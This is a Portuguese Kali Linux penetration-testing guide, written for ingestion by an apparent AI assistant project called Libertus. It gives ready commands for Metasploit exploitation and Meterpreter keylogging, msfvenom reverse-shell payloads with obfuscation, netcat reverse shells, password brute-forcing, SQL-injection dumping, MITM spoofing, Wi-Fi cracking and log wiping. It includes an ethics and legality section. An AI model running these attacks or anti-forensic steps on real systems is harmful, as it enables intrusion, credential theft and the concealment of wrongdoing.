KALI LINUX — Guia Completo Profissional

Para absorção pelo Libertus v6.0

---

1. O QUE É KALI LINUX

Kali Linux é uma distribuição Debian especializada em segurança ofensiva e testes de penetração, mantida pela Offensive Security. Contém mais de 600 ferramentas pré-instaladas para pentest, forense digital, engenharia reversa e pesquisa de segurança.

Não é para uso casual — é uma ferramenta profissional para:

- Pentesters e consultores de segurança
- Pesquisadores de vulnerabilidades
- Analistas forenses digitais
- Profissionais de Red Team / Blue Team
- Estudantes de cibersegurança (CEH, OSCP, etc)

Versões disponíveis:

- Kali Linux Live (USB bootável)
- Kali Linux Installer (instalação permanente)
- Kali Linux WSL (Windows Subsystem for Linux)
- Kali Linux Docker
- Kali Linux ARM (Raspberry Pi, etc)
- Kali NetHunter (Android)

---

2. INSTALAÇÃO E CONFIGURAÇÃO

Instalação no WSL (Windows — mais fácil)

```
wsl --install -d kali-linux
# Abre o Kali e instala ferramentas:
sudo apt update && sudo apt install -y kali-linux-default
```

Instalação em VM (recomendado para estudo)

```
# Download: kali.org/get-kali
# VirtualBox ou VMware
# Configurações recomendadas:
# RAM: 4GB mínimo, 8GB ideal
# Disco: 80GB mínimo
# Rede: NAT + Host-Only adapter
```

Primeiros passos após instalação

```
# Atualiza o sistema
sudo apt update && sudo apt full-upgrade -y

# Instala pacotes essenciais
sudo apt install -y kali-linux-default

# Instala TODAS as ferramentas (cuidado: +15GB)
sudo apt install -y kali-linux-everything

# Muda senha do root
sudo passwd root

# Cria usuário não-root para uso diário
sudo useradd -m -s /bin/bash lorran
sudo passwd lorran
sudo usermod -aG sudo lorran
```

---

3. ESTRUTURA DE FERRAMENTAS POR CATEGORIA

Reconhecimento (Information Gathering)

```
nmap          → scanner de portas e serviços
maltego       → inteligência e reconhecimento visual
recon-ng      → framework de OSINT
theHarvester  → coleta emails, subdomínios, IPs
shodan        → busca dispositivos conectados à internet
```

```
dmitry        → coleta passiva de informações
whois         → informações de domínio
amass         → enumeração de subdomínios
```

Análise de Vulnerabilidades

```
nessus        → scanner de vulnerabilidades (comercial)
openvas       → scanner open source (GVM)
nikto         → scanner de vulnerabilidades web
lynis         → auditoria de segurança Linux
wpscan        → scanner para WordPress
```

Exploração

```
metasploit    → framework de exploração (o mais importante)
exploitdb     → banco de exploits (searchsploit)
beef-xss      → exploração via XSS
sqlmap        → exploração de SQL injection
```

Pós-exploração

```
empire        → framework pós-exploração PowerShell
covenant      → C2 framework
mimikatz      → extração de credenciais Windows
```

Sniffing e Spoofing

```
wireshark     → análise de pacotes de rede
tcpdump       → captura de pacotes CLI
ettercap      → MITM e análise de rede
bettercap     → MITM moderno
arpspoof      → ARP spoofing
```

Ataques Wireless

```
aircrack-ng   → suite completa para Wi-Fi
wifite        → ataque automatizado a redes Wi-Fi
kismet        → detector de redes wireless
reaver        → ataque WPS
pixiewps      → ataque Pixie Dust WPS
```

Aplicações Web

```
burpsuite     → proxy e análise de aplicações web
owasp-zap     → scanner de segurança web
dirb          → brute force de diretórios
gobuster      → brute force de diretórios/subdomínios
ffuf          → fuzzing web
wfuzz         → fuzzing de parâmetros web
```

Ataques de Senha

```
john          → John the Ripper (quebra de hashes)
hashcat       → quebra de hashes com GPU
hydra         → brute force de credenciais
medusa        → brute force paralelo
crunch        → gerador de wordlists
cewl          → wordlist de sites
```

Forense Digital

```
autopsy       → análise forense completa (GUI)
sleuthkit     → ferramentas forenses CLI
volatility    → análise de memória RAM
binwalk       → análise de firmware
foremost      → recuperação de arquivos
photorec      → recuperação de arquivos
```

Engenharia Reversa

```
ghidra        → engenharia reversa (NSA)
radare2       → framework de análise binária
gdb           → debugger
pwndbg        → extensão GDB para exploit dev
binary ninja  → análise binária (comercial)
```

Criptografia e Esteganografia

```
openssl       → operações criptográficas
hashid        → identifica tipo de hash
steghide      → oculta dados em imagens
stegcracker   → quebra esteganografia
```

```
exiftool      → análise de metadados
```

---

4. NMAP — SCANNER DE REDES

```
# Sintaxe básica
nmap [opções] [alvo]

# Scan básico de portas
nmap 192.168.1.1
nmap 192.168.1.0/24           # rede inteira
nmap 192.168.1.1-50           # range de IPs

# Tipos de scan
nmap -sS 192.168.1.1          # SYN scan (padrão, stealth)
nmap -sT 192.168.1.1          # TCP connect scan
nmap -sU 192.168.1.1          # UDP scan
nmap -sN 192.168.1.1          # NULL scan
nmap -sF 192.168.1.1          # FIN scan
nmap -sX 192.168.1.1          # XMAS scan

# Portas específicas
nmap -p 80,443 192.168.1.1    # portas específicas
nmap -p 1-1000 192.168.1.1    # range de portas
nmap -p- 192.168.1.1          # todas as 65535 portas

# Detecção de serviços e versões
nmap -sV 192.168.1.1          # versão dos serviços
nmap -O 192.168.1.1           # detecta sistema operacional
nmap -A 192.168.1.1           # agressivo (OS + versão + scripts)

# Scripts NSE
nmap --script=default 192.168.1.1
nmap --script=vuln 192.168.1.1        # verifica vulnerabilidades
nmap --script=http-enum 192.168.1.1   # enumera web
nmap --script=smb-vuln* 192.168.1.1   # vuln SMB

# Evasão de firewall
nmap -f 192.168.1.1           # fragmenta pacotes
nmap -D RND:10 192.168.1.1    # decoys (IPs falsos)
nmap -S IP_FALSO 192.168.1.1  # spoof source IP
nmap --data-length 200 192.168.1.1    # padding aleatório

# Velocidade
nmap -T0 192.168.1.1          # paranóico (muito lento)
```

```
nmap -T1 192.168.1.1          # furtivo
nmap -T3 192.168.1.1          # normal (padrão)
nmap -T5 192.168.1.1          # insano (rápido, barulhento)

# Saída
nmap -oN resultado.txt 192.168.1.1    # formato normal
nmap -oX resultado.xml 192.168.1.1    # XML
nmap -oG resultado.grep 192.168.1.1   # grep-friendly
nmap -oA resultado 192.168.1.1        # todos os formatos
```

---

5. METASPLOIT FRAMEWORK

```
# Inicia o banco de dados
sudo systemctl start postgresql
sudo msfdb init

# Inicia o Metasploit
msfconsole
msfconsole -q                 # sem banner

# Comandos básicos
help                          # ajuda
search eternalblue            # busca exploit
use exploit/windows/smb/ms17_010_eternalblue  # seleciona módulo
info                          # info do módulo
show options                  # mostra opções necessárias
show payloads                 # payloads compatíveis
show targets                  # alvos suportados

# Configuração
set RHOSTS 192.168.1.10       # alvo
set RPORT 445                 # porta do alvo
set LHOST 192.168.1.5         # IP local (para reverse shell)
set LPORT 4444                # porta local
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Execução
check                         # verifica se alvo é vulnerável
exploit                       # executa exploit
run                           # mesmo que exploit

# Meterpreter (após exploração bem-sucedida)
sysinfo                       # info do sistema
getuid                        # usuário atual
```

```
getsystem                      # tenta escalada de privilégio
hashdump                       # extrai hashes de senhas
download arquivo.txt           # baixa arquivo
upload payload.exe             # envia arquivo
shell                          # abre shell do sistema
ps                             # lista processos
migrate PID                    # migra para processo
screenshot                     # captura tela
keyscan_start                  # inicia keylogger
keyscan_dump                   # mostra teclas capturadas
run post/multi/recon/local_exploit_suggester  # sugere escaladas

# Persistência
run post/windows/manage/persistence           # persistência Windows
run post/linux/manage/sshkey_persistence      # persistência Linux

# Banco de dados
db_nmap -A 192.168.1.0/24    # scan e salva no DB
hosts                         # lista hosts descobertos
services                      # lista serviços
vulns                         # lista vulnerabilidades
```

---

6. BURP SUITE — ANÁLISE WEB

```
# Inicia Burp Suite
burpsuite &

# Configuração do proxy
# Browser → Proxy → HTTP: 127.0.0.1:8080
# Instala certificado CA do Burp no browser

# Módulos principais:
# Proxy   → intercepta e modifica requisições
# Repeater → reenvia e modifica requisições manualmente
# Intruder → fuzzing e brute force automatizado
# Scanner → encontra vulnerabilidades automaticamente (Pro)
# Decoder → encode/decode de dados
# Comparer → compara respostas

# Atalhos úteis:
# Ctrl+R → envia para Repeater
# Ctrl+I → envia para Intruder
# Ctrl+F → busca no histórico
```

7. AIRCRACK-NG — ATAQUES WI-FI

```
# ATENÇÃO: Use apenas em redes próprias ou com autorização

# Coloca interface em modo monitor
airmon-ng start wlan0
airmon-ng check kill         # mata processos que interferem

# Captura pacotes
airodump-ng wlan0mon         # lista redes disponíveis
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w captura wlan0mon
# -c = canal, --bssid = MAC do AP, -w = arquivo de saída

# Ataque de desautenticação (força reconexão para capturar handshake)
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c FF:EE:DD:CC:BB:AA wlan0mon
# -0 = deauth, 10 = número de pacotes, -a = AP, -c = cliente

# Quebra o handshake WPA2
aircrack-ng -w /usr/share/wordlists/rockyou.txt captura.cap

# Para interface monitor
airmon-ng stop wlan0mon
```

8. JOHN THE RIPPER E HASHCAT

```
# John the Ripper
john hash.txt                          # quebra automática
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --format=md5 hash.txt             # especifica formato
john --format=sha256 hash.txt
john --show hash.txt                   # mostra senhas quebradas
john --incremental hash.txt            # ataque incremental (brute force)

# Extrair hashes de arquivos
pdf2john arquivo.pdf > hash.txt
zip2john arquivo.zip > hash.txt
ssh2john id_rsa > hash.txt
keepass2john banco.kdbx > hash.txt

# Hashcat (usa GPU — muito mais rápido)
hashcat -m 0 hash.txt wordlist.txt     # MD5
```

```
hashcat -m 100 hash.txt wordlist.txt   # SHA1
hashcat -m 1800 hash.txt wordlist.txt  # SHA512crypt
hashcat -m 1000 hash.txt wordlist.txt  # NTLM (Windows)
hashcat -m 2500 captura.hccapx wordlist.txt  # WPA2

# Modos de ataque hashcat:
# -a 0 = wordlist (dicionário)
# -a 1 = combinação de wordlists
# -a 3 = brute force (?l?l?l?l = 4 letras minúsculas)
# -a 6 = wordlist + máscara

# Máscaras hashcat:
# ?l = letras minúsculas
# ?u = letras maiúsculas
# ?d = dígitos
# ?s = símbolos especiais
# ?a = todos os acima

hashcat -a 3 -m 0 hash.txt ?u?l?l?l?d?d?d?d  # Senha1234
```

---

9. HYDRA — BRUTE FORCE DE LOGIN

```
# Sintaxe: hydra [opções] alvo protocolo

# SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
hydra -L users.txt -P pass.txt ssh://192.168.1.10

# FTP
hydra -l admin -P pass.txt ftp://192.168.1.10

# HTTP Basic Auth
hydra -l admin -P pass.txt http-get://192.168.1.10/admin

# HTTP Form (POST)
hydra -l admin -P pass.txt 192.168.1.10 http-post-form \
"/login:username=^USER^&password=^PASS^:Login failed"

# RDP (Windows)
hydra -l administrator -P pass.txt rdp://192.168.1.10

# MySQL
hydra -l root -P pass.txt mysql://192.168.1.10
```

```
# Opções úteis:
# -t 4  → 4 threads (cuidado com muitas)
# -f    → para no primeiro sucesso
# -v    → verbose
# -V    → mostra cada tentativa
```

---

10. SQLMAP — SQL INJECTION AUTOMÁTICO

```
# Teste básico
sqlmap -u "http://site.com/page?id=1"

# Com cookies (autenticado)
sqlmap -u "http://site.com/page?id=1" --cookie="session=abc123"

# Listar bancos de dados
sqlmap -u "http://site.com/page?id=1" --dbs

# Listar tabelas
sqlmap -u "http://site.com/page?id=1" -D banco --tables

# Listar colunas
sqlmap -u "http://site.com/page?id=1" -D banco -T users --columns

# Extrair dados
sqlmap -u "http://site.com/page?id=1" -D banco -T users --dump

# Opções avançadas
sqlmap -u "URL" --level=5 --risk=3          # mais agressivo
sqlmap -u "URL" --dbms=mysql                 # especifica SGBD
sqlmap -u "URL" --proxy=http://127.0.0.1:8080  # via Burp
sqlmap -u "URL" --tor                        # via Tor
sqlmap -u "URL" --os-shell                   # shell no servidor
sqlmap -u "URL" --random-agent               # user-agent aleatório

# Via arquivo de requisição (salvo do Burp)
sqlmap -r request.txt
```

---

11. GOBUSTER E DIRB — BRUTE FORCE DE DIRETÓRIOS

```
# Gobuster — busca diretórios
gobuster dir -u http://site.com -w /usr/share/wordlists/dirb/common.txt
```

```
gobuster dir -u http://site.com -w wordlist.txt -x php,html,txt
gobuster dir -u http://site.com -w wordlist.txt -t 50   # 50 threads
gobuster dir -u http://site.com -w wordlist.txt -o resultado.txt

# Gobuster — subdomínios
gobuster dns -d site.com -w /usr/share/wordlists/dnsmap.txt

# Gobuster — S3 buckets
gobuster s3 -w wordlist.txt

# DIRB
dirb http://site.com
dirb http://site.com /usr/share/wordlists/dirb/big.txt
dirb http://site.com -X .php,.html        # extensões específicas
dirb http://site.com -o resultado.txt
dirb http://site.com -a "Mozilla/5.0"     # user-agent customizado

# FFUF (mais moderno e rápido)
ffuf -u http://site.com/FUZZ -w wordlist.txt
ffuf -u http://site.com/FUZZ -w wordlist.txt -e .php,.html
ffuf -u http://site.com/FUZZ -w wordlist.txt -mc 200,301  # só status específicos
ffuf -u http://site.com -H "Host: FUZZ.site.com" -w subdomains.txt  # subdomínios
```

---

12. WIRESHARK E TCPDUMP

```
# TCPDump — captura de pacotes CLI
tcpdump -i eth0                          # captura na interface eth0
tcpdump -i any                           # todas as interfaces
tcpdump -i eth0 -w captura.pcap          # salva em arquivo
tcpdump -r captura.pcap                  # lê arquivo
tcpdump -i eth0 port 80                  # filtra porta 80
tcpdump -i eth0 host 192.168.1.10        # filtra host
tcpdump -i eth0 "tcp and port 443"       # filtro composto
tcpdump -i eth0 -n                       # sem resolução DNS
tcpdump -i eth0 -X                       # mostra payload em hex+ASCII
tcpdump -i eth0 -v                       # verbose
tcpdump -i eth0 -c 100                   # captura 100 pacotes

# Wireshark — análise gráfica
wireshark &                              # abre GUI
wireshark -r captura.pcap                # abre arquivo direto

# Filtros Wireshark (display filters):
http                                     # somente HTTP
```

```
http.request.method == "POST"          # POST requests
ip.addr == 192.168.1.10                # filtra IP
tcp.port == 443                        # porta específica
dns                                     # somente DNS
ftp                                     # somente FTP
smtp                                    # somente SMTP
!(arp or dns)                          # exclui ARP e DNS
http contains "password"               # busca string
tcp.flags.syn == 1                     # pacotes SYN
```

---

13. BETTERCAP — ATAQUES MITM

```
# Inicia bettercap
sudo bettercap -iface eth0

# Comandos dentro do bettercap:
net.probe on                 # descobre hosts na rede
net.show                     # mostra hosts descobertos
arp.spoof on                 # ativa ARP spoofing (MITM)
arp.spoof.targets 192.168.1.10  # alvo específico
net.sniff on                 # captura tráfego
http.proxy on                # proxy HTTP
https.proxy on               # proxy HTTPS (com SSL strip)
dns.spoof on                 # DNS spoofing
dns.spoof.domains site.com   # domínio para spoof
hstshijack on                # bypass HSTS

# Captura de credenciais
net.sniff.output captura.pcap
```

---

14. RECONHECIMENTO OSINT

TheHarvester

```
# Coleta de emails, subdomínios, IPs e hosts
theHarvester -d empresa.com -b all          # todos os motores
theHarvester -d empresa.com -b google       # somente Google
theHarvester -d empresa.com -b linkedin     # LinkedIn
theHarvester -d empresa.com -b shodan       # Shodan
theHarvester -d empresa.com -l 200          # limite de resultados
```

```
theHarvester -d empresa.com -f resultado    # salva resultado
```

Shodan

```
# Instala CLI
pip install shodan
shodan init SUA_API_KEY

# Busca
shodan search "apache 2.4"
shodan search "default password" country:BR
shodan host 8.8.8.8                         # info de um IP
shodan count "port:22"                      # conta resultados
shodan download resultado "nginx port:80"  # baixa resultados

# Filtros úteis no Shodan:
# country:BR         → somente Brasil
# city:Ariquemes     → somente cidade
# port:3306          → porta específica
# os:"Windows 7"     → sistema operacional
# org:"Claro"        → organização/ISP
# ssl.cert.subject.cn:site.com → por certificado SSL
```

Recon-ng

```
recon-ng
# Instala módulos
marketplace install all
# Cria workspace
workspaces create empresa_alvo
# Usa módulos
modules load recon/domains-hosts/google_site_web
options set SOURCE empresa.com
run
```

---

15. WORDLISTS

```
# Localização das wordlists do Kali
ls /usr/share/wordlists/

# Principais:
```

```
/usr/share/wordlists/rockyou.txt          # 14 milhões de senhas
/usr/share/wordlists/dirb/common.txt      # diretórios comuns
/usr/share/wordlists/dirb/big.txt         # diretórios (grande)
/usr/share/wordlists/dirbuster/           # mais opções
/usr/share/wordlists/dnsmap.txt           # subdomínios
/usr/share/wordlists/metasploit/          # wordlists do MSF

# Descompactar rockyou
gunzip /usr/share/wordlists/rockyou.txt.gz

# Gerar wordlist customizada com CRUNCH
crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o wordlist.txt
# 8 8 = tamanho min e max
crunch 6 8 -t Lorran@@ -o wordlist.txt   # padrão com variação
crunch 8 8 -f /usr/share/crunch/charset.lst mixalpha-numeric

# Gerar wordlist de site com CEWL
cewl http://site.com -d 3 -m 6 -w wordlist.txt
# -d = profundidade, -m = tamanho mínimo
```

---

16. ANÁLISE FORENSE DIGITAL

```
# Autopsy (GUI)
autopsy &
# Acessa http://localhost:9999/autopsy

# Sleuthkit (CLI)
mmls disco.img                            # lista partições
fls -r -o 2048 disco.img                 # lista arquivos da partição
icat -o 2048 disco.img 1234 > arquivo    # extrai arquivo pelo inode
fsstat -o 2048 disco.img                 # info do sistema de arquivos

# Volatility — análise de memória
volatility -f memoria.raw imageinfo      # identifica OS
volatility -f memoria.raw --profile=Win10x64 pslist  # lista processos
volatility -f memoria.raw --profile=Win10x64 netscan # conexões de rede
volatility -f memoria.raw --profile=Win10x64 hashdump # hashes
volatility -f memoria.raw --profile=Win10x64 filescan # arquivos
volatility -f memoria.raw --profile=Win10x64 dumpfiles -Q 0x... -D /saida/

# Foremost — recuperação de arquivos deletados
foremost -t jpg,pdf,doc -i disco.img -o /recuperados/

# Binwalk — análise de firmware
```

```
binwalk firmware.bin                    # analisa estrutura
binwalk -e firmware.bin                 # extrai arquivos
binwalk -M firmware.bin                 # recursivo

# Exiftool — metadados
exiftool imagem.jpg                     # mostra todos os metadados
exiftool -GPS:GPSLatitude imagem.jpg    # localização GPS
exiftool -all= imagem.jpg               # remove todos os metadados
```

---

17. ESCALADA DE PRIVILÉGIO

Linux

```
# Verificações básicas
id                                       # usuário e grupos atuais
sudo -l                                  # comandos sudo permitidos
find / -perm -4000 2>/dev/null          # binários SUID
find / -perm -2000 2>/dev/null          # binários SGID
find / -writable -type f 2>/dev/null    # arquivos graváveis
crontab -l                              # cron do usuário
cat /etc/crontab                        # cron do sistema
env                                      # variáveis de ambiente
cat /proc/version                       # versão do kernel
uname -a                                # info completa do kernel

# GTFOBins — exploração de binários SUID
# https://gtfobins.github.io
# Exemplos:
sudo find . -exec /bin/bash \;          # se sudo find permitido
sudo vim -c ':!/bin/bash'               # se sudo vim permitido
sudo python3 -c 'import os; os.system("/bin/bash")'

# LinPEAS — script automatizado de enumeração
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.

# Linux Exploit Suggester
perl linux-exploit-suggester.pl
```

Windows

```
# Via Meterpreter
getsystem                               # tenta escalada automática
```

```
run post/multi/recon/local_exploit_suggester

# PowerShell
whoami /priv                              # privilégios do usuário
net user                                  # lista usuários
net localgroup administrators            # admins locais
systeminfo                                # info do sistema

# WinPEAS
.\winPEASx64.exe                         # enumeração completa

# Exploits comuns
use exploit/windows/local/bypassuac_eventvwr
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

---

18. CRIAÇÃO DE PAYLOADS COM MSFVENOM

```
# Listar payloads
msfvenom -l payloads | grep windows

# Windows — reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe

# Windows — staged vs stageless
# staged: windows/x64/meterpreter/reverse_tcp (menor, requer handler)
# stageless: windows/x64/meterpreter_reverse_tcp (maior, standalone)

# Linux — reverse shell
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f elf -o payload

# PHP — webshell
msfvenom -p php/meterpreter_reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php

# Python
msfvenom -p python/meterpreter_reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -f raw -o payload.py

# Android APK
msfvenom -p android/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 -o app.apk
```

```
# Encoders (ofuscação básica)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 \
  -e x64/xor_dynamic -i 5 -f exe -o payload_encoded.exe

# Handler para receber conexão
msfconsole -q -x "use multi/handler; \
  set PAYLOAD windows/x64/meterpreter/reverse_tcp; \
  set LHOST 192.168.1.5; set LPORT 4444; exploit"
```

---

19. REDES — CONCEITOS ESSENCIAIS

```
# Modelo OSI e onde cada ferramenta atua:
# Camada 7 (Aplicação): Burp, sqlmap, nikto, gobuster
# Camada 4 (Transporte): nmap, netcat
# Camada 3 (Rede): nmap, ping, traceroute
# Camada 2 (Enlace): arpspoof, ettercap, bettercap
# Camada 1 (Física): wireless tools

# Netcat — canivete suíço de redes
nc -lvp 4444                          # escuta na porta 4444
nc 192.168.1.10 4444                  # conecta ao alvo
nc -lvp 4444 > arquivo_recebido       # recebe arquivo
nc 192.168.1.10 4444 < arquivo        # envia arquivo

# Reverse shell com netcat
# No atacante (escuta):
nc -lvp 4444
# No alvo (executa):
nc 192.168.1.5 4444 -e /bin/bash      # Linux
nc 192.168.1.5 4444 -e cmd.exe        # Windows

# Shells estabilizadas
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

# Port forwarding com SSH
ssh -L 8080:alvo:80 usuario@pivot     # acessa alvo:80 via localhost:8080
ssh -R 9090:localhost:4444 usuario@srv # expõe local:4444 no servidor
```

---

20. EVASÃO E ANONIMATO

```
# Tor
sudo apt install tor
sudo systemctl start tor
# Configura proxychains
nano /etc/proxychains4.conf
# Adiciona: socks5 127.0.0.1 9050

# Usa proxychains com qualquer ferramenta
proxychains nmap -sT -Pn 192.168.1.10
proxychains curl https://checkip.amazonaws.com
proxychains sqlmap -u "http://site.com?id=1"

# Limpeza de logs
# Limpa histórico do bash
history -c && history -w
unset HISTFILE

# Limpa logs do sistema (root)
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
find /var/log -type f -exec shred -zu {} \;

# MAC spoofing
ip link set eth0 down
macchanger -r eth0                       # MAC aleatório
macchanger -m AA:BB:CC:DD:EE:FF eth0   # MAC específico
ip link set eth0 up
```

---

21. CERTIFICAÇÕES DE SEGURANÇA

Caminho recomendado:

```
CompTIA Security+     → base de segurança (iniciante)
CEH                   → Certified Ethical Hacker
eJPT                  → Junior Penetration Tester (INE, gratuito)
OSCP                  → OffSec Certified Professional (mais respeitado)
OSEP                  → Evasion Techniques and Breaching Defenses
OSED                  → Exploit Developer
CRTO                  → Red Team Operator
CISSP                 → Information Security Management
```

Plataformas de prática:

```
HackTheBox            → https://hackthebox.com (CTF e labs)
TryHackMe             → https://tryhackme.com (mais didático)
VulnHub               → VMs vulneráveis para download
PentesterLab          → foco em web
PortSwigger Academy   → 100% grátis, foco em web (recomendado)
PicoCTF               → iniciante
```

---

22. ÉTICA E LEGALIDADE

FUNDAMENTAL:

1. **Nunca** teste sistemas sem autorização escrita explícita
2. Bug Bounty = programas legais de recompensa por vulnerabilidades
3. Pen Test = contrato formal com escopo definido
4. CTF = competições legais de hacking
5. Ambientes próprios = laboratório virtual (VMs, VulnHub)

Leis brasileiras:

- Lei 12.737/2012 (Lei Carolina Dieckmann) — criminaliza invasão de sistemas
- Marco Civil da Internet — regula uso da internet
- Pena: 3 meses a 2 anos de detenção + multa por invasão

Regra de ouro:

```
Se não tem autorização por escrito → NÃO FAÇA
```

---

23. KALI NO LIBERTUS

Quando usar Kali nas skills do Libertus:

```
# Skill de scan de rede local (uso legítimo)
import subprocess
resultado_scan = subprocess.run(
```

```
    ["nmap", "-sn", "192.168.1.0/24"],
    capture_output=True, text=True, timeout=60
)
resultado = resultado_scan.stdout

# Skill de verificação de portas abertas
import subprocess
ip = params.get("ip", "localhost")
resultado_check = subprocess.run(
    ["nmap", "-sV", "--open", ip],
    capture_output=True, text=True, timeout=120
)
resultado = resultado_check.stdout
```

Instalação do Libertus v6 no Kali Linux:

```
# Clona o vault
cp -r /media/dados/LIBERTUS ~/

# Instala dependências
pip3 install httpx colorama anthropic

# Configura variáveis
export GROQ_API_KEY="sua_chave"
export LIBERTUS_OBSIDIAN="$HOME/LIBERTUS"
echo 'export GROQ_API_KEY="sua_chave"' >> ~/.bashrc
echo 'export LIBERTUS_OBSIDIAN="$HOME/LIBERTUS"' >> ~/.bashrc

# Instala Ollama para modelos pesados
curl -fsSL https://ollama.ai/install.sh | sh
ollama pull llama3:8b        # 8GB RAM mínimo
ollama pull mistral:7b       # alternativa

# Roda o Libertus
python3 ~/LIBERTUS/core/libertus.py
```

Documento gerado para absorção pelo Libertus v6.0 Criado em: 13/04/2026 Uso exclusivamente educacional e em ambientes autorizados